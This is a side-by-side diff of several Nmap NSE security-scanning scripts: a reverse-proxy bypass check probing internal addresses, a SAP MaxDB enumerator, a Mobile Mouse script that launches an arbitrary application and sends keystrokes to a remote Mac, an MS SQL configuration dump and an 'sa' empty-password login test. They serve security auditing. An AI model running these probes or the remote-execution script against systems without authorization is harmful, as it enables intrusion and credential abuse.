-- TEST 1: the loopback test, with 3 payloads to handle different rewrite rules -- TEST 1: the loopback test, with 3 payloads to handle different rewrite rules
local all local all
all = http.pipeline_add(("%s@localhost"):format(prefix),nil, all) all = http.pipeline_add(("%s@localhost"):format(prefix),nil, all)
all = http.pipeline_add(("%s:@localhost"):format(prefix),nil, all) all = http.pipeline_add(("%s:@localhost"):format(prefix),nil, all)
all = http.pipeline_add(("%s:@localhost:80"):format(prefix), nil, all) all = http.pipeline_add(("%s:@localhost:80"):format(prefix), nil, all)
local bypass_request = http.pipeline_go(host,port, all) local bypass_request = http.pipeline_go(host,port, all)
if ( not(bypass_request) ) then if ( not(bypass_request) ) then
stdnse.print_debug(1, "%s : got no answers from pipelined queries", SCRIPT_NAME) stdnse.print_debug(1, "%s : got no answers from pipelined queries", SCRIPT_NAME)
return "\n ERROR: Got no answers from pipelined queries" return "\n ERROR: Got no answers from pipelined queries"
end end
-- going through the results of TEST 1 we could see -- going through the results of TEST 1 we could see
-- * 200 OK -- * 200 OK
-- o This could be the result of the server being vulnerable -- o This could be the result of the server being vulnerable
-- o This could also be the result of a generic error page -- o This could also be the result of a generic error page
-- * 40X Error -- * 40X Error
-- o This is most likely the result of the server NOT being vulnerable -- o This is most likely the result of the server NOT being vulnerable
-- --
-- We can not determine whether the server is vulnerable or not solely -- We can not determine whether the server is vulnerable or not solely
-- by relying on the 200 OK. If we have no 200 OK abort, otherwise continue -- by relying on the 200 OK. If we have no 200 OK abort, otherwise continue
local got_200_ok local got_200_ok
for _, response in ipairs(bypass_request) do for _, response in ipairs(bypass_request) do
if ( response.status == 200 ) then if ( response.status == 200 ) then
got_200_ok = true got_200_ok = true
end end
end end
-- if we didn't get at least one 200 OK, the server is most like NOT vulnerable -- if we didn't get at least one 200 OK, the server is most like NOT vulnerable
if ( not(got_200_ok) ) then if ( not(got_200_ok) ) then
vuln.state = vulns.STATE.NOT_VULN vuln.state = vulns.STATE.NOT_VULN
return report:make_output(vuln) return report:make_output(vuln)
end end
for i=1, #bypass_request, 1 do for i=1, #bypass_request, 1 do
stdnse.print_debug(1, "%s : test %d returned a %d", SCRIPT_NAME,i,bypass_request[i].status) stdnse.print_debug(1, "%s : test %d returned a %d", SCRIPT_NAME,i,bypass_request[i].status)
-- here a 400 should be the evidence for a patched server. -- here a 400 should be the evidence for a patched server.
if ( bypass_request[i].status == 200 and vuln.state ~= vulns.STATE.VULN ) then if ( bypass_request[i].status == 200 and vuln.state ~= vulns.STATE.VULN ) then
-- TEST 2: the internal hosts test. According to Contextis, we expect a delay before a server error. -- TEST 2: the internal hosts test. According to Contextis, we expect a delay before a server error.
-- According to my (Patrik) tests, internal hosts reachable by the server may return instant responses -- According to my (Patrik) tests, internal hosts reachable by the server may return instant responses
local tests = { local tests = {
{ prefix = "", suffix = "" }, { prefix = "", suffix = "" },
{ prefix = ":", suffix = ""}, { prefix = ":", suffix = ""},
{ prefix = ":", suffix = ":80"} { prefix = ":", suffix = ":80"}
} }
-- try a bunch of hosts, and hope we hit one thats -- try a bunch of hosts, and hope we hit one thats
-- not on the network, this will give us the delay we're expecting -- not on the network, this will give us the delay we're expecting
local hosts = { local hosts = {
"10.10.10.10", "10.10.10.10",
"192.168.211.211", "192.168.211.211",
"172.16.16.16" "172.16.16.16"
} }
-- perform one request for each host, and stop once we -- perform one request for each host, and stop once we
-- receive a timeout for one of them -- receive a timeout for one of them
for _, h in ipairs(hosts) do for _, h in ipairs(hosts) do
local response = http.get( local response = http.get(
host, host,
port, port,
("%s%s@%s%s"):format(prefix, tests[i].prefix, h, tests[i].suffix), ("%s%s@%s%s"):format(prefix, tests[i].prefix, h, tests[i].suffix),
{ timeout = ( chrono_404 + 5 ) * 1000 } { timeout = ( chrono_404 + 5 ) * 1000 }
) )
-- check if the GET timed out -- check if the GET timed out
if ( not(response.status) ) then if ( not(response.status) ) then
vuln.state = vulns.STATE.VULN vuln.state = vulns.STATE.VULN
break break
end end
end end
end end
end end
-- TEST 3: The external website test. This does not mean that you can reach a LAN ip, but this is a relevant issue anyway. -- TEST 3: The external website test. This does not mean that you can reach a LAN ip, but this is a relevant issue anyway.
local external = http.get(host,port, ("@scanme.nmap.org"):format(prefix)) local external = http.get(host,port, ("@scanme.nmap.org"):format(prefix))
if ( external.status == 200 and string.match(external.body,"Go ahead and ScanMe") ) then if ( external.status == 200 and string.match(external.body,"Go ahead and ScanMe") ) then
vuln.extra_info = "Proxy allows requests to external websites" vuln.extra_info = "Proxy allows requests to external websites"
end end
return report:make_output(vuln) return report:make_output(vuln)
end end

View File

@@ -43,31 +43,31 @@ portrule = shortport.port_or_service(7210, "maxdb", "tcp")
-- @return status true on success, false on failure -- @return status true on success, false on failure
-- @return data string containing the raw response from the server -- @return data string containing the raw response from the server
local function exchPacket(socket, packet) local function exchPacket(socket, packet)
local status, err = socket:send(packet) local status, err = socket:send(packet)
if ( not(status) ) then if ( not(status) ) then
stdnse.print_debug(2, "Failed to send packet to server") stdnse.print_debug(2, "Failed to send packet to server")
return false, "Failed to send packet to server" return false, "Failed to send packet to server"
end end
local data local data
status, data= socket:receive() status, data= socket:receive()
if ( not(status) ) then if ( not(status) ) then
stdnse.print_debug(2, "Failed to read packet from server") stdnse.print_debug(2, "Failed to read packet from server")
return false, "Failed to read packet from server" return false, "Failed to read packet from server"
end end
local pos, len = bin.unpack("<S", data) local pos, len = bin.unpack("<S", data)
-- make sure we've got it all -- make sure we've got it all
if ( len ~= #data ) then if ( len ~= #data ) then
local tmp local tmp
status, tmp = socket:receive_bytes(len - #data) status, tmp = socket:receive_bytes(len - #data)
if ( not(status) ) then if ( not(status) ) then
stdnse.print_debug(2, "Failed to read packet from server") stdnse.print_debug(2, "Failed to read packet from server")
return false, "Failed to read packet from server" return false, "Failed to read packet from server"
end end
data = data .. tmp data = data .. tmp
end end
return true, data return true, data
end end
-- Sends and receives a MaxDB command and does some very basic checks of the -- Sends and receives a MaxDB command and does some very basic checks of the
@@ -77,16 +77,16 @@ end
-- @return status true on success, false on failure -- @return status true on success, false on failure
-- @return data string containing the raw response from the server -- @return data string containing the raw response from the server
local function exchCommand(socket, packet) local function exchCommand(socket, packet)
local status, data = exchPacket(socket, packet) local status, data = exchPacket(socket, packet)
if( status ) then if( status ) then
if ( #data < 26 ) then if ( #data < 26 ) then
return false, "Response to short" return false, "Response to short"
end end
if ( "OK" ~= data:sub(25, 26) ) then if ( "OK" ~= data:sub(25, 26) ) then
return false, "Incorrect response from server (no OK found)" return false, "Incorrect response from server (no OK found)"
end end
end end
return status, data return status, data
end end
-- Parses and decodes the raw version response from the server -- Parses and decodes the raw version response from the server
@@ -99,78 +99,78 @@ end
-- <code>SYSNAME</code>, <code>MASKING</code>, -- <code>SYSNAME</code>, <code>MASKING</code>,
-- <code>REPLYTREATMENT</code> and <code>SDBDBM_IPCLOCATION</code> -- <code>REPLYTREATMENT</code> and <code>SDBDBM_IPCLOCATION</code>
local function parseVersion(data) local function parseVersion(data)
local version_info = {} local version_info = {}
if ( #data > 27 ) then if ( #data > 27 ) then
for _, line in ipairs(stdnse.strsplit("\n", data:sub(28))) do for _, line in ipairs(stdnse.strsplit("\n", data:sub(28))) do
local key, val = line:match("^(%S+)%s-=%s(.*)%s*$") local key, val = line:match("^(%S+)%s-=%s(.*)%s*$")
if ( key ) then version_info[key] = val end if ( key ) then version_info[key] = val end
end end
end end
return version_info return version_info
end end
-- Parses and decodes the raw database response from the server -- Parses and decodes the raw database response from the server
-- @param data string containing the raw response -- @param data string containing the raw response
-- @return result string containing a table of database instance information -- @return result string containing a table of database instance information
local function parseDatabases(data) local function parseDatabases(data)
local result = tab.new(5) local result = tab.new(5)
tab.addrow(result, "instance", "path", "version", "kernel", "state") tab.addrow(result, "instance", "path", "version", "kernel", "state")
for _, line in ipairs(stdnse.strsplit("\n", data:sub(28))) do for _, line in ipairs(stdnse.strsplit("\n", data:sub(28))) do
local cols = {} local cols = {}
cols.instance, cols.path, cols.ver, cols.kernel, cols.instance, cols.path, cols.ver, cols.kernel,
cols.state = line:match("^(.-)%s*\t(.-)%s*\t(.-)%s*\t(.-)%s-\t(.-)%s-$") cols.state = line:match("^(.-)%s*\t(.-)%s*\t(.-)%s*\t(.-)%s-\t(.-)%s-$")
if ( cols.instance ) then if ( cols.instance ) then
tab.addrow(result, cols.instance, cols.path, cols.ver, cols.kernel, cols.state) tab.addrow(result, cols.instance, cols.path, cols.ver, cols.kernel, cols.state)
end end
end end
return tab.dump(result) return tab.dump(result)
end end
action = function(host, port) action = function(host, port)
-- this could really be more elegant, but it has to do for now -- this could really be more elegant, but it has to do for now
local handshake = "5a000000035b000001000000ffffffff000004005a000000000242000409000000400000d03f00000040000070000000000500000004000000020000000300000749343231360004501c2a035201037201097064626d73727600" local handshake = "5a000000035b000001000000ffffffff000004005a000000000242000409000000400000d03f00000040000070000000000500000004000000020000000300000749343231360004501c2a035201037201097064626d73727600"
local dbm_version = "28000000033f000001000000ac130000000004002800000064626d5f76657273696f6e2020202020" local dbm_version = "28000000033f000001000000ac130000000004002800000064626d5f76657273696f6e2020202020"
local db_enum = "20000000033f000001000000ac130000000004002000000064625f656e756d20" local db_enum = "20000000033f000001000000ac130000000004002000000064625f656e756d20"
local socket = nmap.new_socket() local socket = nmap.new_socket()
socket:set_timeout(10000) socket:set_timeout(10000)
local status, err = socket:connect(host, port) local status, err = socket:connect(host, port)
local data local data
status, data = exchPacket(socket, bin.pack("H", handshake)) status, data = exchPacket(socket, bin.pack("H", handshake))
if ( not(status) ) then if ( not(status) ) then
return "\n ERROR: Failed to perform handshake with MaxDB server" return "\n ERROR: Failed to perform handshake with MaxDB server"
end end
status, data = exchPacket(socket, bin.pack("H", dbm_version)) status, data = exchPacket(socket, bin.pack("H", dbm_version))
if ( not(status) ) then if ( not(status) ) then
return "\n ERROR: Failed to request version information from server" return "\n ERROR: Failed to request version information from server"
end end
local version_info = parseVersion(data) local version_info = parseVersion(data)
if ( not(version_info) ) then if ( not(version_info) ) then
return "\n ERROR: Failed to parse version information from server" return "\n ERROR: Failed to parse version information from server"
end end
local result, filter = {}, {"Version", "Build", "OS", "Instroot", "Sysname"} local result, filter = {}, {"Version", "Build", "OS", "Instroot", "Sysname"}
for _, f in ipairs(filter) do for _, f in ipairs(filter) do
table.insert(result, ("%s: %s"):format(f, version_info[f:upper()])) table.insert(result, ("%s: %s"):format(f, version_info[f:upper()]))
end end
status, data = exchCommand(socket, bin.pack("H", db_enum)) status, data = exchCommand(socket, bin.pack("H", db_enum))
socket:close() socket:close()
if ( not(status) ) then if ( not(status) ) then
return "\n ERROR: Failed to request version information from server" return "\n ERROR: Failed to request version information from server"
end end
local dbs = parseDatabases(data) local dbs = parseDatabases(data)
table.insert(result, { name = "Databases", dbs } ) table.insert(result, { name = "Databases", dbs } )
-- set the version information -- set the version information
port.version.name = "maxdb" port.version.name = "maxdb"
port.version.product = "SAP MaxDB" port.version.product = "SAP MaxDB"
port.version.version = version_info.VERSION port.version.version = version_info.VERSION
port.version.ostype = version_info.SYSNAME port.version.ostype = version_info.SYSNAME
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -50,130 +50,130 @@ local arg_delay = stdnse.get_script_args(SCRIPT_NAME .. '.delay') or 3
portrule = shortport.port_or_service(51010, "mmouse", "tcp") portrule = shortport.port_or_service(51010, "mmouse", "tcp")
local function receiveData(socket, cmd) local function receiveData(socket, cmd)
local status, data = "" local status, data = ""
repeat repeat
status, data = socket:receive_buf("\04", true) status, data = socket:receive_buf("\04", true)
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to receive data from server" return false, "Failed to receive data from server"
end end
until( cmd == nil or data:match("^" .. cmd) ) until( cmd == nil or data:match("^" .. cmd) )
return true, data return true, data
end end
local function authenticate(socket, password) local function authenticate(socket, password)
local devid = "0123456789abcdef0123456789abcdef0123456" local devid = "0123456789abcdef0123456789abcdef0123456"
local devname = "Lord Vaders iPad" local devname = "Lord Vaders iPad"
local suffix = "2".."\30".."2".."\04" local suffix = "2".."\30".."2".."\04"
local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix) local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix)
local status = socket:send(auth) local status = socket:send(auth)
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to send data to server" return false, "Failed to send data to server"
end end
local status, data = receiveData(socket) local status, data = receiveData(socket)
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to receive data from server" return false, "Failed to receive data from server"
end end
local success, os = data:match("^CONNECTED\30([^\30]*)\30([^\30]*)") local success, os = data:match("^CONNECTED\30([^\30]*)\30([^\30]*)")
if ( success == "YES" ) then if ( success == "YES" ) then
if ( os ~= 'MAC' ) then if ( os ~= 'MAC' ) then
return false, "Non MAC platform detected, script has only been tested on MAC" return false, "Non MAC platform detected, script has only been tested on MAC"
end end
if ( not(socket:send("SETOPTION\30PRESENTATION\30".."1\04")) ) then if ( not(socket:send("SETOPTION\30PRESENTATION\30".."1\04")) ) then
return false, "Failed to send request to server" return false, "Failed to send request to server"
end end
if ( not(socket:send("SETOPTION\30CLIPBOARDSYNC\30".."1\04")) ) then if ( not(socket:send("SETOPTION\30CLIPBOARDSYNC\30".."1\04")) ) then
return false, "Failed to send request to server" return false, "Failed to send request to server"
end end
return true return true
end end
return false, "Authentication failed" return false, "Authentication failed"
end end
local function processSwitchMode(socket, swmode) local function processSwitchMode(socket, swmode)
local m, o, a1, a2, p = swmode:match("^(.-)\30(.-)\30(.-)\30(.-)\30(.-)\04$") local m, o, a1, a2, p = swmode:match("^(.-)\30(.-)\30(.-)\30(.-)\30(.-)\04$")
if ( m ~= "SWITCHMODE") then if ( m ~= "SWITCHMODE") then
stdnse.print_debug("Unknown SWITCHMODE: %s %s", m, o) stdnse.print_debug("Unknown SWITCHMODE: %s %s", m, o)
return false, "Failed to parse SWITCHMODE" return false, "Failed to parse SWITCHMODE"
end end
local str = ("SWITCHED\30%s\30%s\30%s\04"):format(o, a1, a2) local str = ("SWITCHED\30%s\30%s\30%s\04"):format(o, a1, a2)
local status = socket:send(str) local status = socket:send(str)
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to send data to server" return false, "Failed to send data to server"
end end
return true return true
end end
local function executeCmd(socket, app, keys) local function executeCmd(socket, app, keys)
local exec = ("SENDPROGRAMACTION\30RUN\30%s\04"):format(app) local exec = ("SENDPROGRAMACTION\30RUN\30%s\04"):format(app)
local status = socket:send(exec) local status = socket:send(exec)
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to send data to server" return false, "Failed to send data to server"
end end
local status, data = receiveData(socket) local status, data = receiveData(socket)
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to receive data from server" return false, "Failed to receive data from server"
end end
if ( arg_delay ) then if ( arg_delay ) then
stdnse.sleep(tonumber(arg_delay)) stdnse.sleep(tonumber(arg_delay))
end end
if ( keys ) then if ( keys ) then
local cmd = ("KEYSTRING\30%s\n\04"):format(keys) local cmd = ("KEYSTRING\30%s\n\04"):format(keys)
if ( not(socket:send(cmd)) ) then if ( not(socket:send(cmd)) ) then
return false, "Failed to send data to the server" return false, "Failed to send data to the server"
end end
end end
return true return true
end end
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function(host, port) action = function(host, port)
local c = creds.Credentials:new(creds.ALL_DATA, host, port) local c = creds.Credentials:new(creds.ALL_DATA, host, port)
local credentials = c:getCredentials(creds.State.VALID + creds.State.PARAM)() local credentials = c:getCredentials(creds.State.VALID + creds.State.PARAM)()
local password = arg_password or (credentials and credentials.pass) or "" local password = arg_password or (credentials and credentials.pass) or ""
if ( not(arg_app) ) then if ( not(arg_app) ) then
return fail(("No application was specified (see %s.application)"):format(SCRIPT_NAME)) return fail(("No application was specified (see %s.application)"):format(SCRIPT_NAME))
end end
if ( not(arg_keys) ) then if ( not(arg_keys) ) then
return fail(("No keys were specified (see %s.keys)"):format(SCRIPT_NAME)) return fail(("No keys were specified (see %s.keys)"):format(SCRIPT_NAME))
end end
local socket = nmap.new_socket() local socket = nmap.new_socket()
socket:set_timeout(10000) socket:set_timeout(10000)
local status, err = socket:connect(host, port) local status, err = socket:connect(host, port)
if ( not(status) ) then if ( not(status) ) then
return fail("Failed to connect to server") return fail("Failed to connect to server")
end end
status, err = authenticate(socket, password) status, err = authenticate(socket, password)
if ( not(status) ) then if ( not(status) ) then
return fail(err) return fail(err)
end end
local data local data
status, data = receiveData(socket, "SWITCHMODE") status, data = receiveData(socket, "SWITCHMODE")
if ( not(status) ) then if ( not(status) ) then
return fail("Failed to receive expected response from server") return fail("Failed to receive expected response from server")
end end
if ( not(processSwitchMode(socket, data)) ) then if ( not(processSwitchMode(socket, data)) ) then
return fail("Failed to process SWITCHMODE command") return fail("Failed to process SWITCHMODE command")
end end
if ( not(executeCmd(socket, arg_app, arg_keys)) ) then if ( not(executeCmd(socket, arg_app, arg_keys)) ) then
return fail("Failed to execute application") return fail("Failed to execute application")
end end
return ("\n Attempted to start application \"%s\" and sent \"%s\""):format(arg_app, arg_keys) return ("\n Attempted to start application \"%s\" and sent \"%s\""):format(arg_app, arg_keys)
end end

View File

@@ -63,7 +63,7 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
-- Created 04/02/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net> -- Created 04/02/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
-- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host; -- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host;
-- added compatibility with changes in mssql.lua (Chris Woodbury) -- added compatibility with changes in mssql.lua (Chris Woodbury)
author = "Patrik Karlsson" author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html" license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
@@ -80,78 +80,78 @@ portrule = mssql.Helper.GetPortrule_Standard()
--- Processes a set of instances --- Processes a set of instances
local function process_instance( instance ) local function process_instance( instance )
local status, errorMessage local status, errorMessage
local result, result_part = {}, {} local result, result_part = {}, {}
local conf_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and "" local conf_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and ""
or " WHERE configuration_id > 16384" or " WHERE configuration_id > 16384"
local db_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and "" local db_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and ""
or " WHERE name NOT IN ('master','model','tempdb','msdb')" or " WHERE name NOT IN ('master','model','tempdb','msdb')"
local helper = mssql.Helper:new() local helper = mssql.Helper:new()
local queries = { local queries = {
[2]={ ["Configuration"] = [[ SELECT name, [2]={ ["Configuration"] = [[ SELECT name,
cast(value as varchar) value, cast(value as varchar) value,
cast(value_in_use as varchar) inuse, cast(value_in_use as varchar) inuse,
description description
FROM sys.configurations ]] .. conf_filter }, FROM sys.configurations ]] .. conf_filter },
[3]={ ["Linked Servers"] = [[ SELECT srvname, srvproduct, providername [3]={ ["Linked Servers"] = [[ SELECT srvname, srvproduct, providername
FROM master..sysservers FROM master..sysservers
WHERE srvid > 0 ]] }, WHERE srvid > 0 ]] },
[1]={ ["Databases"] = [[ CREATE TABLE #nmap_dbs(name varchar(255), db_size varchar(255), owner varchar(255), [1]={ ["Databases"] = [[ CREATE TABLE #nmap_dbs(name varchar(255), db_size varchar(255), owner varchar(255),
dbid int, created datetime, status varchar(512), compatibility_level int ) dbid int, created datetime, status varchar(512), compatibility_level int )
INSERT INTO #nmap_dbs EXEC sp_helpdb INSERT INTO #nmap_dbs EXEC sp_helpdb
SELECT name, db_size, owner SELECT name, db_size, owner
FROM #nmap_dbs ]] .. db_filter .. [[ FROM #nmap_dbs ]] .. db_filter .. [[
DROP TABLE #nmap_dbs ]] } DROP TABLE #nmap_dbs ]] }
} }
status, errorMessage = helper:ConnectEx( instance ) status, errorMessage = helper:ConnectEx( instance )
if ( not(status) ) then result = "ERROR: " .. errorMessage end if ( not(status) ) then result = "ERROR: " .. errorMessage end
if status then if status then
status, errorMessage = helper:LoginEx( instance ) status, errorMessage = helper:LoginEx( instance )
if ( not(status) ) then result = "ERROR: " .. errorMessage end if ( not(status) ) then result = "ERROR: " .. errorMessage end
end end
for _, v in ipairs( queries ) do for _, v in ipairs( queries ) do
if ( not status ) then break end if ( not status ) then break end
for header, query in pairs(v) do for header, query in pairs(v) do
status, result_part = helper:Query( query ) status, result_part = helper:Query( query )
if ( not(status) ) then if ( not(status) ) then
result = "ERROR: " .. result_part result = "ERROR: " .. result_part
break break
end end
result_part = mssql.Util.FormatOutputTable( result_part, true ) result_part = mssql.Util.FormatOutputTable( result_part, true )
result_part.name = header result_part.name = header
table.insert( result, result_part ) table.insert( result, result_part )
end end
end end
helper:Disconnect() helper:Disconnect()
local instanceOutput = {} local instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
table.insert( instanceOutput, result ) table.insert( instanceOutput, result )
return instanceOutput return instanceOutput
end end
action = function( host, port ) action = function( host, port )
local scriptOutput = {} local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
if ( not status ) then if ( not status ) then
return stdnse.format_output( false, instanceList ) return stdnse.format_output( false, instanceList )
else else
for _, instance in pairs( instanceList ) do for _, instance in pairs( instanceList ) do
local instanceOutput = process_instance( instance ) local instanceOutput = process_instance( instance )
if instanceOutput then if instanceOutput then
table.insert( scriptOutput, instanceOutput ) table.insert( scriptOutput, instanceOutput )
end end
end end
end end
return stdnse.format_output( true, scriptOutput ) return stdnse.format_output( true, scriptOutput )
end end

View File

@@ -49,9 +49,9 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net> -- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
-- Revised 02/01/2011 - v0.2 (Chris Woodbury) -- Revised 02/01/2011 - v0.2 (Chris Woodbury)
-- - Added ability to run against all instances on a host; -- - Added ability to run against all instances on a host;
-- - Added storage of credentials on a per-instance basis -- - Added storage of credentials on a per-instance basis
-- - Added compatibility with changes in mssql.lua -- - Added compatibility with changes in mssql.lua
author = "Patrik Karlsson" author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html" license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
@@ -62,121 +62,121 @@ hostrule = mssql.Helper.GetHostrule_Standard()
portrule = mssql.Helper.GetPortrule_Standard() portrule = mssql.Helper.GetPortrule_Standard()
local function test_credentials( instance, helper, username, password ) local function test_credentials( instance, helper, username, password )
local database = "tempdb" local database = "tempdb"
local status, result = helper:ConnectEx( instance ) local status, result = helper:ConnectEx( instance )
local loginErrorCode local loginErrorCode
if( status ) then if( status ) then
stdnse.print_debug( 2, "%s: Attempting login to %s", SCRIPT_NAME, instance:GetName() ) stdnse.print_debug( 2, "%s: Attempting login to %s", SCRIPT_NAME, instance:GetName() )
status, result, loginErrorCode = helper:Login( username, password, database, instance.host.ip ) status, result, loginErrorCode = helper:Login( username, password, database, instance.host.ip )
end end
helper:Disconnect() helper:Disconnect()
local passwordIsGood, canLogin local passwordIsGood, canLogin
if status then if status then
passwordIsGood = true passwordIsGood = true
canLogin = true canLogin = true
elseif ( loginErrorCode ) then elseif ( loginErrorCode ) then
if ( loginErrorCode == mssql.LoginErrorType.PasswordExpired ) then passwordIsGood = true end if ( loginErrorCode == mssql.LoginErrorType.PasswordExpired ) then passwordIsGood = true end
if ( loginErrorCode == mssql.LoginErrorType.PasswordMustChange ) then passwordIsGood = true end if ( loginErrorCode == mssql.LoginErrorType.PasswordMustChange ) then passwordIsGood = true end
if ( loginErrorCode == mssql.LoginErrorType.AccountLockedOut ) then if ( loginErrorCode == mssql.LoginErrorType.AccountLockedOut ) then
stdnse.print_debug( 1, "%s: Account %s locked out on %s", SCRIPT_NAME, username, instance:GetName() ) stdnse.print_debug( 1, "%s: Account %s locked out on %s", SCRIPT_NAME, username, instance:GetName() )
table.insert( instance.ms_sql_empty, string.format("'sa' account is locked out.", result ) ) table.insert( instance.ms_sql_empty, string.format("'sa' account is locked out.", result ) )
end end
if ( mssql.LoginErrorMessage[ loginErrorCode ] == nil ) then if ( mssql.LoginErrorMessage[ loginErrorCode ] == nil ) then
stdnse.print_debug( 2, "%s: Attemping login to %s: Unknown login error number: %s", stdnse.print_debug( 2, "%s: Attemping login to %s: Unknown login error number: %s",
SCRIPT_NAME, instance:GetName(), loginErrorCode ) SCRIPT_NAME, instance:GetName(), loginErrorCode )
table.insert( instance.ms_sql_empty, string.format( "Unknown login error number: %s", loginErrorCode ) ) table.insert( instance.ms_sql_empty, string.format( "Unknown login error number: %s", loginErrorCode ) )
end end
else else
table.insert( instance.ms_sql_empty, string.format("Network error. Error: %s", result ) ) table.insert( instance.ms_sql_empty, string.format("Network error. Error: %s", result ) )
end end
if ( passwordIsGood ) then if ( passwordIsGood ) then
local loginResultMessage = "Login Success" local loginResultMessage = "Login Success"
if loginErrorCode then if loginErrorCode then
loginResultMessage = mssql.LoginErrorMessage[ loginErrorCode ] or "unknown error" loginResultMessage = mssql.LoginErrorMessage[ loginErrorCode ] or "unknown error"
end end
table.insert( instance.ms_sql_empty, string.format( "%s:%s => %s", username, password:len()>0 and password or "<empty>", loginResultMessage ) ) table.insert( instance.ms_sql_empty, string.format( "%s:%s => %s", username, password:len()>0 and password or "<empty>", loginResultMessage ) )
-- Add credentials for other ms-sql scripts to use but don't -- Add credentials for other ms-sql scripts to use but don't
-- add accounts that need to change passwords -- add accounts that need to change passwords
if ( canLogin ) then if ( canLogin ) then
instance.credentials[ username ] = password instance.credentials[ username ] = password
-- Legacy storage method (does not distinguish between instances) -- Legacy storage method (does not distinguish between instances)
nmap.registry.mssqlusers = nmap.registry.mssqlusers or {} nmap.registry.mssqlusers = nmap.registry.mssqlusers or {}
nmap.registry.mssqlusers[username]=password nmap.registry.mssqlusers[username]=password
end end
end end
end end
--- Processes a single instance, attempting to detect an empty password for "sa" --- Processes a single instance, attempting to detect an empty password for "sa"
local function process_instance( instance ) local function process_instance( instance )
-- One of this script's features is that it will report an instance's -- One of this script's features is that it will report an instance's
-- in both the port-script results and the host-script results. In order to -- in both the port-script results and the host-script results. In order to
-- avoid redundant login attempts on an instance, we will just make the -- avoid redundant login attempts on an instance, we will just make the
-- attempt once and then re-use the results. We'll use a mutex to make sure -- attempt once and then re-use the results. We'll use a mutex to make sure
-- that multiple script instances (e.g. a host-script and a port-script) -- that multiple script instances (e.g. a host-script and a port-script)
-- working on the same SQL Server instance can only enter this block one at -- working on the same SQL Server instance can only enter this block one at
-- a time. -- a time.
local mutex = nmap.mutex( instance ) local mutex = nmap.mutex( instance )
mutex( "lock" ) mutex( "lock" )
local status, result local status, result
-- If this instance has already been tested (e.g. if we got to it by both the -- If this instance has already been tested (e.g. if we got to it by both the
-- hostrule and the portrule), don't test it again. This will reduce the risk -- hostrule and the portrule), don't test it again. This will reduce the risk
-- of locking out accounts. -- of locking out accounts.
if ( instance.tested_empty ~= true ) then if ( instance.tested_empty ~= true ) then
instance.tested_empty = true instance.tested_empty = true
instance.credentials = instance.credentials or {} instance.credentials = instance.credentials or {}
instance.ms_sql_empty = instance.ms_sql_empty or {} instance.ms_sql_empty = instance.ms_sql_empty or {}
if not instance:HasNetworkProtocols() then if not instance:HasNetworkProtocols() then
stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() ) stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() )
table.insert( instance.ms_sql_empty, "No network protocols enabled." ) table.insert( instance.ms_sql_empty, "No network protocols enabled." )
end end
local helper = mssql.Helper:new() local helper = mssql.Helper:new()
test_credentials( instance, helper, "sa", "" ) test_credentials( instance, helper, "sa", "" )
end end
-- The password testing has been finished. Unlock the mutex. -- The password testing has been finished. Unlock the mutex.
mutex( "done" ) mutex( "done" )
local instanceOutput local instanceOutput
if ( instance.ms_sql_empty ) then if ( instance.ms_sql_empty ) then
instanceOutput = {} instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
for _, message in ipairs( instance.ms_sql_empty ) do for _, message in ipairs( instance.ms_sql_empty ) do
table.insert( instanceOutput, message ) table.insert( instanceOutput, message )
end end
if ( nmap.verbosity() > 1 and #instance.ms_sql_empty == 0 ) then if ( nmap.verbosity() > 1 and #instance.ms_sql_empty == 0 ) then
table.insert( instanceOutput, "'sa' account password is not blank." ) table.insert( instanceOutput, "'sa' account password is not blank." )
end end
end end
return instanceOutput return instanceOutput
end end
action = function( host, port ) action = function( host, port )
local scriptOutput = {} local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
if ( not status ) then if ( not status ) then
return stdnse.format_output( false, instanceList ) return stdnse.format_output( false, instanceList )
else else
for _, instance in pairs( instanceList ) do for _, instance in pairs( instanceList ) do
local instanceOutput = process_instance( instance ) local instanceOutput = process_instance( instance )
if instanceOutput then if instanceOutput then
table.insert( scriptOutput, instanceOutput ) table.insert( scriptOutput, instanceOutput )
end end
end end
end end
return stdnse.format_output( true, scriptOutput ) return stdnse.format_output( true, scriptOutput )
end end

View File

